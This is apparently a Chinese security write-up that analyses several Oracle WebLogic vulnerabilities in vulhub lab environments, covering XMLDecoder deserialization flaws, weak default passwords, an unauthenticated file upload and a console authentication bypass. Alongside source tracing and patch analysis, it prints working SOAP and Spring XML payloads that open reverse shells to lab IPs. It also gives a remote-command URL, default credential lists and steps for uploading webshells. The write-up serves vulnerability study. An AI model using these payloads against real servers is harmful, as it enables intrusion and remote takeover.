1 2 3 4 5 6 7 8 public Class<? extends ElementHandler > getElementHandler(String var1) { Class var2 = (Class)this .handlers.get(var1); if (var2 == null ) { throw new IllegalArgumentException ("Unsupported element: " + var1); } else { return var2; } }
所以最后得到的this.handler是VoidElementHandler对象对象 继续往下跟,来到ObjectElementHandler的addAttribute方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public final void addAttribute (String var1, String var2) { if (var1.equals("idref" )) { this .idref = var2; } else if (var1.equals("field" )) { this .field = var2; } else if (var1.equals("index" )) { this .index = Integer.valueOf(var2); this .addArgument(this .index); } else if (var1.equals("property" )) { this .property = var2; } else if (var1.equals("method" )) { this .method = var2; } else { super .addAttribute(var1, var2); } }
这里传入的var1是”class”,var2是”java.lang.ProcessBuilder” 进入父类的addAttribute方法
1 2 3 4 5 6 7 8 public void addAttribute (String var1, String var2) { if (var1.equals("class" )) { this .type = this .getOwner().findClass(var2); } else { super .addAttribute(var1, var2); } }
也可以进去看看,this.getOwner()得到的是DocumentHandler对象,调用其findClass方法,该方法中又调用ClassFinder.resolveClass方法,其方法中调用了ClassFinder.findClass方法
1 2 3 4 5 6 7 8 9 10 11 12 13 public static Class<?> findClass(String var0, ClassLoader var1) throws ClassNotFoundException { ReflectUtil.checkPackageAccess(var0); if (var1 != null ) { try { return Class.forName(var0, false , var1); } catch (ClassNotFoundException var3) { } catch (SecurityException var4) { } } return findClass(var0); }
其他元素的解析流程大致类似 再来看看字符串是如何解析的,如下面这句
先解析<string>
标签,创建StringElementHandler对象 然后再解析calc字符串 进入到对应的case中
1 2 3 case XMLStreamConstants.CHARACTERS : fDocumentHandler.characters(getCharacterData(),null ); break ;
进入fDocumentHandler.characters方法,这里传入的是calc字符串。此时的fDocumentHandler的handler参数是之前在解析<string>
标签时创建StringElementHandler对象 继续进入characters方法 这里的var1正是poc字符,var2标识calc字符串的偏移,var3表示字符串的长度 this.handler是StringElementHandler对象,进入其addCharacter方法 经过4次循环,将calc字符串添加到StringElementHandler对象的sb属性中 至此,字符串的解析完成
再来看看最后一句的解析,这也触发了命令执行
1 <void method ="start" /> </void >
逐步调试,前面部分的流程和其他标签处理方法一致,进入ObjectElementHandler的getValueObject方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 protected final ValueObject getValueObject (Class<?> var1, Object[] var2) throws Exception { if (this .field != null ) { return ValueObjectImpl.create(FieldElementHandler.getFieldValue(this .getContextBean(), this .field)); } else if (this .idref != null ) { return ValueObjectImpl.create(this .getVariable(this .idref)); } else { Object var3 = this .getContextBean(); String var4; if (this .index != null ) { var4 = var2.length == 2 ? "set" : "get" ; } else if (this .property != null ) { var4 = var2.length == 1 ? "set" : "get" ; if (0 < this .property.length()) { var4 = var4 + this .property.substring(0 , 1 ).toUpperCase(Locale.ENGLISH) + this .property.substring(1 ); } } else { var4 = this .method != null && 0 < this .method.length() ? this .method : "new" ; } Expression var5 = new Expression (var3, var4, var2); return ValueObjectImpl.create(var5.getValue()); } }
先进入NewElementHandler类的getContextBean方法
1 2 3 protected final Object getContextBean () { return this .type != null ? this .type : super .getContextBean(); }
这里的type为空,所以需要进入父类的getContextBean方法 其实根据poc的结构也知道,这里的父类就是type为ProcessBuilder对应的VoidElementHandler对象 此时继续进入父类的getValueObject方法 进入重载方法,同样先调用getContextBean(),由于此时type不为空,所以返回type 接着对于方法而言,由于方法为空,所以设置为new 这里相当于创建一个ProcessBuilder对象 继续回到解析<void method="start"/></void>
的getValueObject方法,此时的var3经过getContextBean处理后的是ProcessBuilder对象 最后一行,调用了ProcessBuilder对象的start方法,命令执行成功 函数调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 getValue:157 , Expression (java.beans) getValueObject:166 , ObjectElementHandler (com.sun.beans.decoder) getValueObject:123 , NewElementHandler (com.sun.beans.decoder) endElement:169 , ElementHandler (com.sun.beans.decoder) endElement:318 , DocumentHandler (com.sun.beans.decoder) endElement:609 , AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers) emptyElement:183 , AbstractXMLDocumentParser (com.sun.org.apache.xerces.internal.parsers) scanStartElement:1344 , XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl) next:2787 , XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl) next:606 , XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl) scanDocument:510 , XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl) parse:848 , XML11Configuration (com.sun.org.apache.xerces.internal.parsers) parse:777 , XML11Configuration (com.sun.org.apache.xerces.internal.parsers) parse:141 , XMLParser (com.sun.org.apache.xerces.internal.parsers) parse:1213 , AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers) parse:643 , SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp) parse:327 , SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp) run:375 , DocumentHandler$1 (com.sun.beans.decoder) run:372 , DocumentHandler$1 (com.sun.beans.decoder) doPrivileged:-1 , AccessController (java.security) doIntersectionPrivilege:76 , ProtectionDomain$JavaSecurityAccessImpl (java.security) parse:372 , DocumentHandler (com.sun.beans.decoder) run:201 , XMLDecoder$1 (java.beans) run:199 , XMLDecoder$1 (java.beans) doPrivileged:-1 , AccessController (java.security) parsingComplete:199 , XMLDecoder (java.beans) readObject:250 , XMLDecoder (java.beans) main:11 , XmlDecoderTest (XmlDecoder)
Expression这个类,该类主要作用是动态调用指定对象的methodName方法.
参考 :XMLDecoder反序列化漏洞源码分析 - 知乎 (zhihu.com)
CVE-2017-3506 影响范围 : WebLogic 10.3.6.0 WebLogic 12.1.3.0 WebLogic 12.2.1.0 WebLogic 12.2.1.1 WebLogic 12.2.1.2 CVE-2017-10271也是一致
默认受到影响的uri:
1 2 3 4 5 6 7 8 /wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11
分析 : 原理大致和下面CVE-2017-10271一致补丁分析 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private void validate (InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory (); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler () { public void startElement (String uri, String localName, String qName, Attributes attributes) throws SAXException { if (qName.equalsIgnoreCase("object" )) { throw new IllegalStateException ("Invalid context type: object" ); } } }); } catch (ParserConfigurationException var5) { throw new IllegalStateException ("Parser Exception" , var5); } catch (SAXException var6) { throw new IllegalStateException ("Parser Exception" , var6); } catch (IOException var7) { throw new IllegalStateException ("Parser Exception" , var7); } }
这里就是将object标签进行过滤,绕过方式就是将object修改成void,也就是CVE-2017-10271
CVE-2017-10271 环境搭建 : 使用vulhub中的环境,修改docekr-compose.yml文件,加上8453端口的映射,使其能够调试复现 : exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <soapenv:Envelope xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" > <soapenv:Header > <work:WorkContext xmlns:work ="http://bea.com/2004/06/soap/workarea/" > <java version ="1.4.0" class ="java.beans.XMLDecoder" > <void class ="java.lang.ProcessBuilder" > <array class ="java.lang.String" length ="3" > <void index ="0" > <string > /bin/bash</string > </void > <void index ="1" > <string > -c</string > </void > <void index ="2" > <string > bash -i > & /dev/tcp/172.22.0.1/7777 0> & 1</string > </void > </array > <void method ="start" /> </void > </java > </work:WorkContext > </soapenv:Header > <soapenv:Body /> </soapenv:Envelope >
bp抓包 反弹shell成功远程调试 : 进入容器,配置weblogic开启远程调试 改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
文件,加入以下内容
1 2 debugFlag="true" export debugFlag
重启容器即可调试 将需要调试目录导出,放入IDEA,即可启动调试
1 2 3 4 5 sudo docker cp 9e239f7fb3ff:/root ./cve201710271Env cd cve201710271Env/Oracle/Middlewaremkdir libfind ./ -name "*.jar" -exec cp {} ./lib/ \; find ./ -name "*.war" -exec cp {} ./lib/ \;
漏洞分析 : 函数调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 readUTF:111 , WorkContextXmlInputAdapter (weblogic.wsee.workarea) readEntry:92 , WorkContextEntryImpl (weblogic.workarea.spi) receiveRequest:179 , WorkContextLocalMap (weblogic.workarea) receiveRequest:163 , WorkContextMapImpl (weblogic.workarea) receive:71 , WorkContextServerTube (weblogic.wsee.jaxws.workcontext) readHeaderOld:107 , WorkContextTube (weblogic.wsee.jaxws.workcontext) processRequest:43 , WorkContextServerTube (weblogic.wsee.jaxws.workcontext) __doRun:866 , Fiber (com.sun.xml.ws.api.pipe) _doRun:815 , Fiber (com.sun.xml.ws.api.pipe) doRun:778 , Fiber (com.sun.xml.ws.api.pipe) runSync:680 , Fiber (com.sun.xml.ws.api.pipe) process:403 , WSEndpointImpl$2 (com.sun.xml.ws.server) handle:539 , HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http) handle:253 , HttpAdapter (com.sun.xml.ws.transport.http) handle:140 , ServletAdapter (com.sun.xml.ws.transport.http.servlet) handle:171 , WLSServletAdapter (weblogic.wsee.jaxws) run:708 , HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws) doAs:363 , AuthenticatedSubject (weblogic.security.acl.internal) runAs:146 , SecurityManager (weblogic.security.service) authenticatedInvoke:103 , ServerSecurityHelper (weblogic.wsee.util) run:311 , HttpServletAdapter$3 (weblogic.wsee.jaxws) post:336 , HttpServletAdapter (weblogic.wsee.jaxws) doRequest:99 , JAXWSServlet (weblogic.wsee.jaxws) service:99 , AbstractAsyncServlet (weblogic.servlet.http) service:820 , HttpServlet (javax.servlet.http) run:227 , StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal) invokeServlet:125 , StubSecurityHelper (weblogic.servlet.internal) execute:301 , ServletStubImpl (weblogic.servlet.internal) execute:184 , ServletStubImpl (weblogic.servlet.internal) wrapRun:3732 , WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal) run:3696 , WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal) doAs:321 , AuthenticatedSubject (weblogic.security.acl.internal) runAs:120 , SecurityManager (weblogic.security.service) securedExecute:2273 , WebAppServletContext (weblogic.servlet.internal) execute:2179 , WebAppServletContext (weblogic.servlet.internal) run:1490 , ServletRequestImpl (weblogic.servlet.internal) execute:256 , ExecuteThread (weblogic.work) run:221 , ExecuteThread (weblogic.work)
查看weblogic/wsee/jaxws/workcontext/WorkContextServerTube的processRequest方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public NextAction processRequest (Packet var1) { this .isUseOldFormat = false ; if (var1.getMessage() != null ) { HeaderList var2 = var1.getMessage().getHeaders(); Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true ); if (var3 != null ) { this .readHeaderOld(var3); this .isUseOldFormat = true ; } Header var4 = var2.get(this .JAX_WS_WORK_AREA_HEADER, true ); if (var4 != null ) { this .readHeader(var4); } } return super .processRequest(var1); }
进入weblogic/wsee/jaxws/workcontext/WorkContextTube的readHeaderOld方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 protected void readHeaderOld (Header var1) { try { XMLStreamReader var2 = var1.readHeader(); var2.nextTag(); var2.nextTag(); XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter (); ByteArrayOutputStream var4 = new ByteArrayOutputStream (); XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4); var3.bridge(var2, var5); var5.close(); WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter (new ByteArrayInputStream (var4.toByteArray())); this .receive(var6); } catch (XMLStreamException var7) { throw new WebServiceException (var7); } catch (IOException var8) { throw new WebServiceException (var8); } }
该方法将XML数据流转换为字节数组,并通过适配器将其转换为可处理的输入流。然后,调用receive方法处理适配器中的输入流 其中进入WorkContextXmlInputAdapter的构造函数,它实例化了一个XMLDecoder对象,并将输入的xml输入流作为参数,这与前面的测试例子一样,现在目标是需要调用readObject进行反序列化
1 2 3 public WorkContextXmlInputAdapter (InputStream var1) { this .xmlDecoder = new XMLDecoder (var1); }
进入weblogic/wsee/jaxws/workcontext/WorkContextServerTube的receive方法
1 2 3 4 5 6 protected void receive (WorkContextInput var1) throws IOException { WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor(); var2.receiveRequest(var1); }
这里的var1是前面创建的WorkContextXmlInputAdapter对象,后面的receiveRequest、receiveRequest、readEntry等方法中都是WorkContextXmlInputAdapter对象,直到进入weblogic/wsee/workarea/WorkContextXmlInputAdapter的readUTF方法
1 2 3 public String readUTF () throws IOException { return (String)this .xmlDecoder.readObject(); }
它调用了readObject方法对目标xml进行反序列化,从而触发命令执行。后面XMLDecoder的调用链和3.2.2中的测试是一致的补丁分析 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 private void validate (InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory (); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler () { private int overallarraylength = 0 ; public void startElement (String uri, String localName, String qName, Attributes attributes) throws SAXException { if (qName.equalsIgnoreCase("object" )) { throw new IllegalStateException ("Invalid element qName:object" ); } else if (qName.equalsIgnoreCase("new" )) { throw new IllegalStateException ("Invalid element qName:new" ); } else if (qName.equalsIgnoreCase("method" )) { throw new IllegalStateException ("Invalid element qName:method" ); } else { if (qName.equalsIgnoreCase("void" )) { for (int attClass = 0 ; attClass < attributes.getLength(); ++attClass) { if (!"index" .equalsIgnoreCase(attributes.getQName(attClass))) { throw new IllegalStateException ("Invalid attribute for element void:" + attributes.getQName(attClass)); } } } if (qName.equalsIgnoreCase("array" )) { String var9 = attributes.getValue("class" ); if (var9 != null && !var9.equalsIgnoreCase("byte" )) { throw new IllegalStateException ("The value of class attribute is not valid for array element." ); } } } } }); } }
使用黑名单对上述标签进行了过滤
CVE-2019-2725 影响范围 : WebLogic 10.X WebLogic 12.1.3影响uri :
1 2 3 4 5 6 /_async/AsyncResponseService /_async/AsyncResponseServiceJms /_async/AsyncResponseServiceHttps /_async/AsyncResponseServiceSoap12 /_async/AsyncResponseServiceSoap12Jms /_async/AsyncResponseServiceSoap12Https
复现 : exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <soapenv:Envelope xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa ="http://www.w3.org/2005/08/addressing" xmlns:asy ="http://www.bea.com/async/AsyncResponseService" > <soapenv:Header > <wsa:Action > xx</wsa:Action > <wsa:RelatesTo > xx</wsa:RelatesTo > <work:WorkContext xmlns:work ="http://bea.com/2004/06/soap/workarea/" > <java version ="1.4.0" class ="java.beans.XMLDecoder" > <void class ="java.lang.ProcessBuilder" > <array class ="java.lang.String" length ="3" > <void index ="0" > <string > /bin/bash</string > </void > <void index ="1" > <string > -c</string > </void > <void index ="2" > <string > bash -i > & /dev/tcp/172.22.0.1/7777 0> & 1</string > </void > </array > <void method ="start" /> </void > </java > </work:WorkContext > </soapenv:Header > <soapenv:Body > <asy:onAsyncDelivery /> </soapenv:Body > </soapenv:Envelope >
漏洞分析 : 函数调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 readUTF:111 , WorkContextXmlInputAdapter (weblogic.wsee.workarea) readEntry:92 , WorkContextEntryImpl (weblogic.workarea.spi) receiveRequest:179 , WorkContextLocalMap (weblogic.workarea) receiveRequest:163 , WorkContextMapImpl (weblogic.workarea) handleRequest:27 , WorkAreaServerHandler (weblogic.wsee.workarea) handleRequest:141 , HandlerIterator (weblogic.wsee.handler) dispatch:114 , ServerDispatcher (weblogic.wsee.ws.dispatch.server) invoke:80 , WsSkel (weblogic.wsee.ws) handlePost:66 , SoapProcessor (weblogic.wsee.server.servlet) process:44 , SoapProcessor (weblogic.wsee.server.servlet) run:285 , BaseWSServlet$AuthorizedInvoke (weblogic.wsee.server.servlet) service:169 , BaseWSServlet (weblogic.wsee.server.servlet) service:820 , HttpServlet (javax.servlet.http) run:227 , StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal) invokeServlet:125 , StubSecurityHelper (weblogic.servlet.internal) execute:301 , ServletStubImpl (weblogic.servlet.internal) execute:184 , ServletStubImpl (weblogic.servlet.internal) wrapRun:3732 , WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal) run:3696 , WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal) doAs:321 , AuthenticatedSubject (weblogic.security.acl.internal) runAs:120 , SecurityManager (weblogic.security.service) securedExecute:2273 , WebAppServletContext (weblogic.servlet.internal) execute:2179 , WebAppServletContext (weblogic.servlet.internal) run:1490 , ServletRequestImpl (weblogic.servlet.internal) execute:256 , ExecuteThread (weblogic.work) run:221 , ExecuteThread (weblogic.work)
在weblogic/wsee/server/servlet/SoapProcessor中的process方法对soap消息进行了处理,post提交,调用其本类的handlePost方法进行处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private void handlePost (BaseWSServlet var1, HttpServletRequest var2, HttpServletResponse var3) throws IOException { assert var1.getPort() != null ; WsPort var4 = var1.getPort(); String var5 = var4.getWsdlPort().getBinding().getBindingType(); HttpServerTransport var6 = new HttpServerTransport (var2, var3); WsSkel var7 = (WsSkel)var4.getEndpoint(); try { Connection var8 = ConnectionFactory.instance().createServerConnection(var6, var5); var7.invoke(var8, var4); } catch (ConnectionException var9) { this .sendError(var3, var9, "Failed to create connection" ); } catch (Throwable var10) { this .sendError(var3, var10, "Unknown error" ); } }
中间的其他过程不管,来到weblogic/wsee/workarea/WorkAreaServerHandler中的handleRequest方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public boolean handleRequest (MessageContext var1) { try { WlMessageContext var2 = WlMessageContext.narrow(var1); MsgHeaders var3 = var2.getHeaders(); WorkAreaHeader var4 = (WorkAreaHeader)var3.getHeader(WorkAreaHeader.TYPE); if (var4 != null ) { WorkContextMapInterceptor var5 = WorkContextHelper.getWorkContextHelper().getInterceptor(); var5.receiveRequest(new WorkContextXmlInputAdapter (var4.getInputStream())); if (verbose) { Verbose.log("Received WorkAreaHeader " + var4); } } return true ; } catch (IOException var6) { throw new JAXRPCException ("Unable to procees WorkContext:" + var6); } }
前面也提到,WorkContextXmlInputAdapter的构造函数中new了一个XMLDecoder对象,传入的是soap header的wordcontext元素 接下来的步骤和CVE-2017-10271一致,其实它们的漏洞原理都是一致的补丁分析 : 使用网上一张图 这里直接ban掉了class元素以及限制了array元素的长度
参考 :Weblogic 反序列化远程代码执行漏洞(CVE-2019-2725) - co0ontty Weblogic 远程命令执行漏洞分析(CVE-2019-2725)及利用payload构造详细解读
参考 WebLogic-XMLDecoder反序列化漏洞分析 Weblogic XMLDecoder RCE分析 xmldecoder反序列化的补丁与绕过
其他漏洞 弱口令 前置知识 : 后台常用默认弱口令:
1 2 3 4 5 6 7 8 9 system/password weblogic/weblogic admin/security joe/password mary/password system/security wlcsystem/wlcsystem wlpisystem/wlpisystem weblogic/Oracle@123
weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic 后台登录地址:/console/login/LoginForm.jsp 另外weblogic的密码使用AES加密(老版本使用3DES),对称密码在获取密文和密钥的情况下可解密,存放的文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml环境 : 使用vulhub中的docker环境进行复现:
1 2 3 4 5 6 7 ╭─dili@dili ~/vulhub/weblogic/weak_password ‹master› ╰─$ sudo docker-compose up -d ╭─dili@dili ~/vulhub/weblogic/weak_password ‹master› ╰─$ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 76e193e908ce vulhub/weblogic:10.3.6.0-2017 "startWebLogic.sh" 44 seconds ago Up 23 seconds 0.0.0.0:5556->5556/tcp, :::5556->5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp weak_password_weblogic_1
docker环境在服务器中,将7001映射到外部端口33401 访问http://10.140.32.159:33401/console/login/LoginForm.jsp
使用常用的弱口令尝试登录,用户名:weblogic 口令:Oracle@123 成功登入后台,接下来就是找到上传文件的点,获取shell 点击部署->安装 准备一个jsp马,并将对应的目录打成war包上传
部署成功,使用冰蝎进行连接 参考:weblogic常见漏洞(一)- 控制台弱口令 | meta-sec
未授权访问 CVE-2018-2894 漏洞复现 : 使用vulhub上的docker搭建环境
1 sudo docker-compose up -d
查看此容器的账户和密码
1 sudo docker-compose logs | grep password
使用账户(weblogic)和密码(deUHw2wQ)登录后台 选择高级选项 启用Web服务测试页 开发环境下的测试页有config.do和begin.do 进入config.do文件,将目录设置为ws_utc应用的静态文件css目录
1 /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
上传一个jsp文件 后端存储的文件名是时间戳+上传的文件名,时间戳会回显在代码中 访问http://10.140.32.159:33401/ws_utc/css/config/keystore/1692882428438_shell.jsp
使用冰蝎连接 同样可以使用begin.do进行利用 访问http://10.140.32.159:33401/ws_utc/begin.do
,上传jsp 尽管上传后会报错,但是抓post包的响应中有jsp文件名 访问http://10.140.32.159:33401/ws_utc/css/upload/RS_Upload_2023-08-24_13-16-31_154/import_file_name_shell.jsp
,使用冰蝎连接
CVE-2020-14882 漏洞复现 : 使用vulhub上的docker搭建环境 这里未授权访问的地址是http://10.140.32.159:33401/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
,通过这个地址就能够进入后台 命令执行操作:http://10.140.32.159:33401/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/CVE-2020-14882%27);%22);
命令执行成功 反弹shell 创建一个xml文件
1 2 3 4 5 6 7 8 9 10 11 12 13 # reverse-bash.xml <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg > <list > <value > /bin/bash</value > <value > -c</value > <value > <![CDATA[bash -i >& /dev/tcp/172.24.0.1/5555 0>&1]]></value > </list > </constructor-arg > </bean > </beans >
访问下面url即可进行shell反弹http://10.140.32.159:33401/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://172.24.0.1:8080/cve-2020-14882-reverse-bash.xml")
参考:CVE-2020-14882:Weblogic Console 权限绕过深入解析 - 360CERT
参考 weblogic漏洞大杂烩 Java安全之初探weblogic T3协议漏洞 - nice_0e3 - 博客园 (cnblogs.com) Weblogic - 系列 - Y4er的博客 修复weblogic的JAVA反序列化漏洞的多种方法 | WooYun知识库 (xmd5.com) Weblogic12c T3 协议安全漫谈 (seebug.org)
注:本文首发于https://xz.aliyun.com/t/12947&https://xz.aliyun.com/t/12964